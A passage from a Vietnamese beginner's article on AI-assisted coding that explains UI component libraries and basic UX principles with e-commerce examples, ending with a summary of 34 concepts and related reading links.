Các thành phần UI cơ bản:

UI library phổ biến 2026:

• shadcn/ui — copy-paste components đẹp + Tailwind (VietCodex dùng)
• Material UI / MUI — Google Material Design
• Ant Design — phổ biến cho admin dashboard
• Tailwind CSS + Radix UI primitives — combo flexible nhất

Ví dụ thực tế: Mở Shopee, bạn thấy UI ngay: nút "Mua ngay" cam đậm chiếm góc dưới phải, ô search trên cùng, grid sản phẩm 2 cột mobile, toast "Đã thêm vào giỏ" trượt từ dưới lên trong 0.5 giây — tất cả là UI. Khi bạn yêu cầu Claude Code "tạo trang login giống Shopee", AI sẽ gen các UI components: <Button>, <Input>, <Card> — đó là UI library shadcn/ui (hoặc Material UI) AI dùng sẵn để bạn KHÔNG phải vẽ từ đầu. Trên BTB, mọi nút "Đặt audit FREE" có cùng màu xanh-700 + cùng border radius — đó là UI consistency, match brand color.

Khi nào bạn gặp: Yêu cầu AI design trang/form ("tạo landing page"). AI gen "UI components" → copy vào project. Brief designer "UI mới phải match brand color BTB". Audit "UI có nhất quán giữa các trang không".

UX (User Experience)

UX (User Experience — trải nghiệm người dùng) = CẢM GIÁC của user khi dùng app: dễ hiểu không, mất bao lâu hoàn thành task, có bị bực không, có quay lại không. UX tốt = user đạt mục tiêu nhanh + ít suy nghĩ + cảm giác "trang này thông minh".

Khác biệt UI vs UX:

5 nguyên tắc UX cơ bản (Jakob Nielsen heuristics rút gọn):

1. Visibility of system status — user luôn biết app đang làm gì (spinner khi loading, progress bar khi upload)
2. Match real world — dùng từ ngữ user hiểu (vd: "Giỏ hàng" thay vì "Cart array")
3. User control & freedom — luôn có Undo / Back / Cancel
4. Consistency — cùng action = cùng vị trí + cùng wording mọi nơi
5. Error prevention — chặn lỗi trước khi xảy ra (vd: disable nút "Submit" cho đến khi form valid)

Ví dụ thực tế: 2 web bán giày so sánh — Web A: UI siêu đẹp, animation mượt, nhưng để mua phải click 7 bước (chọn → đăng ký → verify email → đăng nhập → thêm giỏ → nhập 12 trường địa chỉ → confirm). Web B: UI bình thường, nhưng 2 bước (chọn → click "Mua ngay" → nhập SĐT + địa chỉ trên 1 page → done). Web B UX tốt hơn dù UI xấu hơn — user mua xong nhanh, không bỏ giỏ. Đó là lý do Shopee Express checkout đơn giản như vậy, Tiki gắn "Mua ngay 1 chạm". Conversion rate Web B cao hơn 3-5x dù UI kém hơn. Tại BTB, form "Đặt audit FREE" chỉ 3 field (tên + SĐT + URL website) — bỏ "email" và "ngành" để giảm friction từ 5 field xuống 3 → tăng submit rate 40% (case study cụ thể chứ không phải con số tròn).

Khi nào bạn gặp: Optimize landing page → audit UX (đếm số bước, friction). User report "không biết click vào đâu" = UX issue, không phải UI bug. A/B test 2 layout = test UX. AI Coding gen form → bạn phải prompt "UX-friendly: tối thiểu field, validate inline, error message rõ ràng" — nếu không AI gen form 15 field chuẩn industry nhưng user bỏ.

Bảng tóm tắt 34 khái niệm

Ví dụ thực tế: 1 ngày làm việc với AI Coding

Một ngày điển hình của founder VietCodex dùng Claude Code, bạn gặp các khái niệm:

Mỗi khái niệm trong bảng trên xuất hiện 5-20 lần/ngày. Hiểu chúng = làm việc với AI Coding trôi chảy hơn 5-10x.

Tóm tắt 1 dòng

34 khái niệm bạn sẽ gặp đi gặp lại khi làm việc với AI Coding chia 8 nhóm: Text format (Markdown/JSON/YAML/CSV/MDX), Code basics (Regex/Diff/.env/Linter/TypeScript), Web (DOM/SSR/Hot Reload/Cookie/CORS), Dev tools setup (Terminal/pnpm/CI/CD), AI workflow (cron/webhook), IDE & dev tools (IDE/Editor/Debugger/REPL/Sandbox/Build tool/Compiler), Security (XSS/SQL Injection/CSRF/Rate limiting), Design & UX (UI/UX). Đọc 1 lần để nhận diện, tra cứu khi cần.

Đọc tiếp

• AI Coding là gì? Tổng quan AI viết code — bài tổng quan đầu cluster
• LLM là gì? Cách 'bộ não' AI dự đoán từ tiếp theo — hiểu LLM giúp dùng AI hiệu quả
• Prompt Engineering — cách viết prompt tốt — khi đã hiểu khái niệm cơ bản
• Claude Code, Cursor, GitHub Copilot — so sánh 3 tool — chọn tool phù hợp (sắp có)
• Git và GitHub là gì — đi sâu vào version control
• API là gì? Bồi bàn truyền lệnh — đi sâu vào JSON + endpoint